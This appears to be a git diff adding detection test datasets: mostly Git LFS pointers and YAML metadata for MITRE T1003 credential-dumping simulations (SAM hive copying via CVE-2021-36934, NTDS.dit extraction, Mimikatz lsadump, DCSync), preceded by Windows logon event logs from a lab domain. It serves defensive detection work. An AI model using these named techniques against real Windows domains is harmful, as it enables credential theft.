ID:\t\t0x123BA4\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x123ba4","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:05:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222358,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x123BA4\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51600\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x123ba4","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51600","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/copy-powershell.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/copy-powershell.log new file mode 100644 index 000000000..ff6b4d233 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/copy-powershell.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:30b08831e7f6ca0f9e2c6f72b6cd931ec2e567ecf95990b19e3f512bc7879719 +size 23518 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/crowdstrike_falcon.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/crowdstrike_falcon.log new file mode 100644 index 000000000..60d23a304 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/crowdstrike_falcon.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a664b289f6b09127f84a5cc967a651b4b379be8b03a29b20927fa8f8ed4e33ac +size 8413 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-powershell.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-powershell.log new file mode 100644 index 000000000..b0c7ef984 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-powershell.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:61136235563b4cc1a076f7ce82e5d6f1f4f071bb1f028aa1c35e3a520876694a +size 8876899 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security.log new file mode 100644 index 000000000..aa262f7f3 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d63b49a8e6fa991991e20160bc304ab2bf998d679851a1573187a2bee47045b3 +size 259315 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security_ssa.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security_ssa.log new file mode 100644 index 000000000..7af85e200 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security_ssa.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d846230dca645c5b314305bf8d890a2ff59c0b746300de343b403be4fa4e716f +size 4126289 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-sysmon.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-sysmon.log new file mode 100644 index 000000000..ed08db482 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-sysmon.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ae66c083bde9f793ebaa7f15807a99645b15d6f958894349e5026ced597665ea +size 12789744 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-system.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-system.log new file mode 100644 index 000000000..6acc75d3a --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-system.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9bf42e6422a9cc35b4f062788c862e6dbd8dc810f1c60d79b4dd3b1339dc53a2 +size 389967 diff --git a/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/data.yml b/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/data.yml new file mode 100644 index 000000000..bb1e66244 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/data.yml @@ -0,0 +1,13 @@ +author: Generated by dataset_analyzer.py +id: 1805765d-d6b1-4877-bd35-9520939dae1f +date: '2025-08-12' +description: Automatically categorized datasets in directory detect_copy_of_shadowcopy_with_script_block_logging +environment: attack_range +directory: detect_copy_of_shadowcopy_with_script_block_logging +mitre_technique: +- T1003.002 +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml.log b/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml.log new file mode 100644 index 000000000..d71eb213f --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:69d5c0a665e22718503ada2cf7e9294dbeb3c7b1ac3f7c451a3109da4cdb7fe4 +size 34152 diff --git a/scripts/attack_technique_tests/T1003.002/serioussam/serioussam.yml b/scripts/attack_technique_tests/T1003.002/serioussam/serioussam.yml new file mode 100644 index 000000000..923e6da58 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/serioussam/serioussam.yml @@ -0,0 +1,14 @@ +author: Mauricio Velazco, Michael Haag +id: cc9b25e6-efc9-11eb-926b-550bf0943fbb +date: '2021-07-21' +description: CVE-2021-36934 exploitation using PowerShell to copy the SAM, SYSTEM + and SECURITY hives from a Volume Shadow Copy to a temp folder +environment: attack_range +directory: serioussam +mitre_technique: +- T1003.002 +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1003.002/serioussam/windows-xml.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/scripts/attack_technique_tests/T1003.002/serioussam/windows-powershell.log b/scripts/attack_technique_tests/T1003.002/serioussam/windows-powershell.log new file mode 100644 index 000000000..a561dca52 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/serioussam/windows-powershell.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fe7276e7a2f18a5f8a444e9320f545e2928358ced40269914a9b0787a6a16b79 +size 11724 diff --git a/scripts/attack_technique_tests/T1003.002/serioussam/windows-security.log b/scripts/attack_technique_tests/T1003.002/serioussam/windows-security.log new file mode 100644 index 000000000..509360052 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/serioussam/windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a7b0cacac904be0a03b8ab6f81f4e47b070297d64b73a09010e1219e68af35fd +size 2599573 diff --git a/scripts/attack_technique_tests/T1003.002/serioussam/windows-xml.log b/scripts/attack_technique_tests/T1003.002/serioussam/windows-xml.log new file mode 100644 index 000000000..e9e39994c --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/serioussam/windows-xml.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5fee45165d56b7dc3d5c3f809b940b9a7daf29e71c71119fc2cc7b6f56518ea4 +size 2347 diff --git a/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.log b/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.log new file mode 100644 index 000000000..d718a83e6 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f19d2035e279d3a5faaf7ac2a18f71d296f965cbe6389f8a905806ba50565b02 +size 7063 diff --git a/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.yml b/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.yml new file mode 100644 index 000000000..dec75e16e --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.yml @@ -0,0 +1,14 @@ +author: Raven Tait, Splunk +id: df5b874a-91f8-4eca-bf06-2570a6f7834b +date: '2026-04-01' +description: Generated datasets for Windows Usage of Mimikatz lsadump::sam module + (PoSh) in attack range. +environment: attack_range +directory: snapattack +mitre_technique: +- T1003.002 +datasets: +- name: snapattack + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational + path: /datasets/attack_techniques/T1003.002/snapattack/snapattack.log diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/4688_windows-security.log b/scripts/attack_technique_tests/T1003.003/atomic_red_team/4688_windows-security.log new file mode 100644 index 000000000..fa6801c55 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/4688_windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:81e1d4e381f4dc38b97c48f9fa5b0ab0b098810c321b7d4599029a9f22530259 +size 11176 diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/atomic_red_team.yml b/scripts/attack_technique_tests/T1003.003/atomic_red_team/atomic_red_team.yml new file mode 100644 index 000000000..0f2d7bbb3 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/atomic_red_team.yml @@ -0,0 +1,27 @@ +author: Patrick Bareiss +id: cc9b25e1-efc9-11eb-926b-550bf0943fbb +date: '2020-10-08' +description: 'Atomic Test Results: Successful Execution of test T1003.003-1 Create + Volume Shadow Copy with NTDS.dit Successful Execution of test T1003.003-2 Copy NTDS.dit + from Volume Shadow Copy Successful Execution of test T1003.003-3 Dump Active Directory + Database with NTDSUtil Successful Execution of test T1003.003-4 Create Volume Shadow + Copy with WMI Return value unclear for test T1003.003-5 Create Volume Shadow Copy + with Powershell Successful Execution of test T1003.003-6 Create Symlink to Volume + Shadow Copy ' +environment: attack_range +directory: atomic_red_team +mitre_technique: +- T1003.003 +datasets: +- name: crowdstrike_falcon + path: /datasets/attack_techniques/T1003.003/atomic_red_team/crowdstrike_falcon.log + sourcetype: crowdstrike:events:sensor + source: crowdstrike +- name: 4688_windows-security + path: /datasets/attack_techniques/T1003.003/atomic_red_team/4688_windows-security.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: windows-sysmon + path: /datasets/attack_techniques/T1003.003/atomic_red_team/windows-sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/crowdstrike_falcon.log b/scripts/attack_technique_tests/T1003.003/atomic_red_team/crowdstrike_falcon.log new file mode 100644 index 000000000..7b8073d92 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/crowdstrike_falcon.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c4275ab0ef976b0d00ba7840031a06d9f47d1beeaf4c3056d2fc7bb8fe08b38a +size 10681 diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/ntds_T1003.003_capattack.zip b/scripts/attack_technique_tests/T1003.003/atomic_red_team/ntds_T1003.003_capattack.zip new file mode 100644 index 000000000..1987d5498 Binary files /dev/null and b/scripts/attack_technique_tests/T1003.003/atomic_red_team/ntds_T1003.003_capattack.zip differ diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-powershell.log b/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-powershell.log new file mode 100644 index 000000000..d171162fe --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-powershell.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a256be181069af823a9acb800814a4f3e0801664654769533d8df759da112d21 +size 8513703 diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-sec-events.log b/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-sec-events.log new file mode 100644 index 000000000..a80d2978b --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-sec-events.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:76df28738641253376748cd720f60c254a1e1917d21207d59a72bda0fe1bb078 +size 3505596 diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-security.log b/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-security.log new file mode 100644 index 000000000..46780ce6b --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9e81c89ff677979cc7efd5ded0be69363ec274987d56aefee527ec4c1e87f50e +size 5244914 diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-sysmon.log b/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-sysmon.log new file mode 100644 index 000000000..0cf6c0ab5 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-sysmon.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ee1c7cd9fa20013c82da17f8cb1998197c117ab4c209ab56203290bc90739fda +size 12883992 diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-system.log b/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-system.log new file mode 100644 index 000000000..3dbb4e440 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/windows-system.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9d95e9ac33a1430ec0cc2e6c35bb401379bdfb241be89bdc200bd035cf08f5a2 +size 389868 diff --git a/scripts/attack_technique_tests/T1003.003/snapattack/snapattack.log b/scripts/attack_technique_tests/T1003.003/snapattack/snapattack.log new file mode 100644 index 000000000..eb63ef991 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/snapattack/snapattack.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:50290b7f98c2059cb340a40c02fddc932a9815a1be32eef9074e839ae595ef4f +size 7772 diff --git a/scripts/attack_technique_tests/T1003.003/snapattack/snapattack.yml b/scripts/attack_technique_tests/T1003.003/snapattack/snapattack.yml new file mode 100644 index 000000000..9544350c9 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/snapattack/snapattack.yml @@ -0,0 +1,14 @@ +author: Raven Tait, Splunk +id: 53065f7f-c068-4a10-8009-26bb81ba80f9 +date: '2026-04-01' +description: Generated datasets for Windows Explorer mounting a ntdsutil snapshot + in attack range. +environment: attack_range +directory: snapattack +mitre_technique: +- T1003.003 +datasets: +- name: snapattack + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational + path: /datasets/attack_techniques/T1003.003/snapattack/snapattack.log diff --git a/scripts/attack_technique_tests/T1003.004/NoLMHash/NoLMHash.yml b/scripts/attack_technique_tests/T1003.004/NoLMHash/NoLMHash.yml new file mode 100644 index 000000000..9683a3305 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.004/NoLMHash/NoLMHash.yml @@ -0,0 +1,13 @@ +author: Teoderick Contreras, Splunk +id: e68c62ae-dc5b-4852-bfb1-860b104358b7 +date: '2023-12-15' +description: Generated datasets for NoLMHash in attack range. +environment: attack_range +directory: NoLMHash +mitre_technique: +- T1003.004 +datasets: +- name: lsa-reg-settings-sysmon + path: /datasets/attack_techniques/T1003.004/NoLMHash/lsa-reg-settings-sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/scripts/attack_technique_tests/T1003.004/NoLMHash/lsa-reg-settings-sysmon.log b/scripts/attack_technique_tests/T1003.004/NoLMHash/lsa-reg-settings-sysmon.log new file mode 100644 index 000000000..6a0ef21b1 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.004/NoLMHash/lsa-reg-settings-sysmon.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8c8f63fb8ce8685f2b071f2249db601656036c21533601bcacd4ffb79ce7c894 +size 4336 diff --git a/scripts/attack_technique_tests/T1003.004/snapattack/snapattack.log b/scripts/attack_technique_tests/T1003.004/snapattack/snapattack.log new file mode 100644 index 000000000..d706a32da --- /dev/null +++ b/scripts/attack_technique_tests/T1003.004/snapattack/snapattack.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4ba0ba771f144bd9f8847a0e9e40e21d15b7e966d19d64031e408611da6608f6 +size 4872 diff --git a/scripts/attack_technique_tests/T1003.004/snapattack/snapattack.yml b/scripts/attack_technique_tests/T1003.004/snapattack/snapattack.yml new file mode 100644 index 000000000..23cc4b75b --- /dev/null +++ b/scripts/attack_technique_tests/T1003.004/snapattack/snapattack.yml @@ -0,0 +1,14 @@ +author: Raven Tait, Splunk +id: e30f8af0-68c6-4d63-93f7-c835dee26282 +date: '2026-04-01' +description: Generated datasets for Windows Usage of Mimikatz lsadump::secrets module + (Sysmon) in attack range. +environment: attack_range +directory: snapattack +mitre_technique: +- T1003.004 +datasets: +- name: snapattack + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security + path: /datasets/attack_techniques/T1003.004/snapattack/snapattack.log diff --git a/scripts/attack_technique_tests/T1003.005/snapattack/snapattack.log b/scripts/attack_technique_tests/T1003.005/snapattack/snapattack.log new file mode 100644 index 000000000..735a75d88 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.005/snapattack/snapattack.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e2146942c9b24429f5ae0444a8458dab6de6365c018c5c5e35bda3033e1a7b59 +size 1621 diff --git a/scripts/attack_technique_tests/T1003.005/snapattack/snapattack.yml b/scripts/attack_technique_tests/T1003.005/snapattack/snapattack.yml new file mode 100644 index 000000000..157e8208d --- /dev/null +++ b/scripts/attack_technique_tests/T1003.005/snapattack/snapattack.yml @@ -0,0 +1,14 @@ +author: Raven Tait, Splunk +id: a0c61c8d-b591-43ea-960e-e07c70908955 +date: '2026-04-01' +description: Generated datasets for Windows Usage of Mimikatz lsadump::cache module + (Sysmon) in attack range. +environment: attack_range +directory: snapattack +mitre_technique: +- T1003.005 +datasets: +- name: snapattack + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security + path: /datasets/attack_techniques/T1003.005/snapattack/snapattack.log diff --git a/scripts/attack_technique_tests/T1003.006/impacket/impacket.yml b/scripts/attack_technique_tests/T1003.006/impacket/impacket.yml new file mode 100644 index 000000000..559786202 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/impacket/impacket.yml @@ -0,0 +1,14 @@ +author: Dean Luxton +id: 3529f540-4c07-44f5-8e9c-940ebf3af41a +date: '2022-07-20' +description: Manual execution of secretsdump.py to perform a DCSync attack using a + domain administrator account & also DC's computer account. +environment: attack_range +directory: impacket +mitre_technique: +- T1003.006 +datasets: +- name: windows-security-xml + path: /datasets/attack_techniques/T1003.006/impacket/windows-security-xml.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/scripts/attack_technique_tests/T1003.006/impacket/windows-directory_service.log b/scripts/attack_technique_tests/T1003.006/impacket/windows-directory_service.log new file mode 100644 index 000000000..52a74fef4 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/impacket/windows-directory_service.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c412328fc9ab74588e09fe3d91f457554715c0caa57374faa3183dadad617fa6 +size 1827 diff --git a/scripts/attack_technique_tests/T1003.006/impacket/windows-security-xml.log b/scripts/attack_technique_tests/T1003.006/impacket/windows-security-xml.log new file mode 100644 index 000000000..74b64fa78 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/impacket/windows-security-xml.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7bf9e6a750c86f2baeb9e49cfc3f1f8172864abb90f6be5ba68525890689b7a8 +size 10491 diff --git a/scripts/attack_technique_tests/T1003.006/impacket/windows-security.log b/scripts/attack_technique_tests/T1003.006/impacket/windows-security.log new file mode 100644 index 000000000..a3babbf9d --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/impacket/windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:90866301fc414b4bd4a13f287c3fa7e5af5cc6af3765b0fb2870c196c0b409f5 +size 4953 diff --git a/scripts/attack_technique_tests/T1003.006/impacket/zeek-dce_rpc.log b/scripts/attack_technique_tests/T1003.006/impacket/zeek-dce_rpc.log new file mode 100644 index 000000000..76c476b75 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/impacket/zeek-dce_rpc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:32369f18d79cdc179e4d83b6c1c06cdb8d0ca410585ab2224cc4d960853f9dd2 +size 495 diff --git a/scripts/attack_technique_tests/T1003.006/mimikatz/mimikatz.yml b/scripts/attack_technique_tests/T1003.006/mimikatz/mimikatz.yml new file mode 100644 index 000000000..360846b90 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/mimikatz/mimikatz.yml @@ -0,0 +1,13 @@ +author: Dean Luxton +id: b8460129-8cfb-449a-9b69-ac1148698319 +date: '2022-07-20' +description: Manual execution of the mimikatz DCSync attack. +environment: attack_range +directory: mimikatz +mitre_technique: +- T1003.006 +datasets: +- name: xml-windows-security + path: /datasets/attack_techniques/T1003.006/mimikatz/xml-windows-security.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/scripts/attack_technique_tests/T1003.006/mimikatz/windows-directory_service.log b/scripts/attack_technique_tests/T1003.006/mimikatz/windows-directory_service.log new file mode 100644 index 000000000..03e463398 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/mimikatz/windows-directory_service.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9fe17cd7f0a0f5597370c598e54257b5fa6c1ef70d3e896d598ef079fa11cd15 +size 913 diff --git a/scripts/attack_technique_tests/T1003.006/mimikatz/windows-security.log b/scripts/attack_technique_tests/T1003.006/mimikatz/windows-security.log new file mode 100644 index 000000000..dafddc1b9 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/mimikatz/windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4c313fc6ddd9a32c8498817c5c024eef646ace146f4a59187f0cfd1635c7c914 +size 4956 diff --git a/scripts/attack_technique_tests/T1003.006/mimikatz/xml-windows-security.log b/scripts/attack_technique_tests/T1003.006/mimikatz/xml-windows-security.log new file mode 100644 index 000000000..37d693d3c --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/mimikatz/xml-windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a6aae604a62bc25f84851071a28b5acf63bb23a7246749f38d69bf0b180ed2b2 +size 16106 diff --git a/scripts/attack_technique_tests/T1003.006/mimikatz/zeek-dce_rpc.log b/scripts/attack_technique_tests/T1003.006/mimikatz/zeek-dce_rpc.log new file mode 100644 index 000000000..33c9672e3 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/mimikatz/zeek-dce_rpc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dd361d6308cb9a6104e3e40eef438b0c49c74ba8c4f347d08b6ccb4b57a4d84e +size 248 diff --git a/scripts/attack_technique_tests/T1003.006/snapattack/snapattack.log b/scripts/attack_technique_tests/T1003.006/snapattack/snapattack.log new file mode 100644 index 000000000..d4d0be8c6 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/snapattack/snapattack.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:56d382a7d08b2ac8ead211e8c6d98d86a722c903b88b6400ef82ec495575b998 +size 2992 diff --git a/scripts/attack_technique_tests/T1003.006/snapattack/snapattack.yml b/scripts/attack_technique_tests/T1003.006/snapattack/snapattack.yml new file mode 100644 index 000000000..e0175a3ab --- /dev/null +++ b/scripts/attack_technique_tests/T1003.006/snapattack/snapattack.yml @@ -0,0 +1,13 @@ +author: Raven Tait, Splunk +id: c662746c-b0c8-440e-b0a0-2ae243fdd61d +date: '2026-04-01' +description: Generated datasets for Windows Possible DCSync attack in attack range. +environment: attack_range +directory: snapattack +mitre_technique: +- T1003.006 +datasets: +- name: snapattack + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security + path: /datasets/attack_techniques/T1003.006/snapattack/snapattack.log diff --git 